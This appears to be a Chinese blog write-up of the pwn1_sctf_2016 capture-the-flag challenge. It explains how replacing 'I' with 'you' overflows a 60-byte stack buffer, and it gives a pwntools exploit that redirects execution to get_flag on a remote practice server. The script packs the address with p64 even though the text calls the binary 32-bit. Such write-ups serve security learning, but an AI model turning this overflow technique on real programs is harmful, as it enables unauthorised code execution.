pwn1_sctf_2016

0x01

拿到文件先检查一下

32位程序

开启了NX保护

IDA静态分析一下

分配的s空间为60,限制输入32,乍一看是不会造成栈溢出的,但是下面有一个字符替换,就是输入I会被替换成you。I是一个字符,you是三个字符,那么我们可以输入20个I(满足32的限制),那么这20个I,最终被替换成了60个字符,从而造成溢出

0x02

exp:

from pwn import *

filename = 'pwn1_sctf_2016'
e = ELF(filename)
get_flag = e.symbols['get_flag'] 

HOST = 'node3.buuoj.cn'
PORT = 25788
content = 0

def main():
	try:
		if content == 1:
			p = process(filename)
		else:
			p = remote(HOST,PORT)
	except:
		print("[!]The content is error")

	payload = b'I' * 20 + b'a' * 4 + p64(get_flag)
	
	p.sendline(payload)

	p.interactive()

main()

执行结果:

得到flag

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值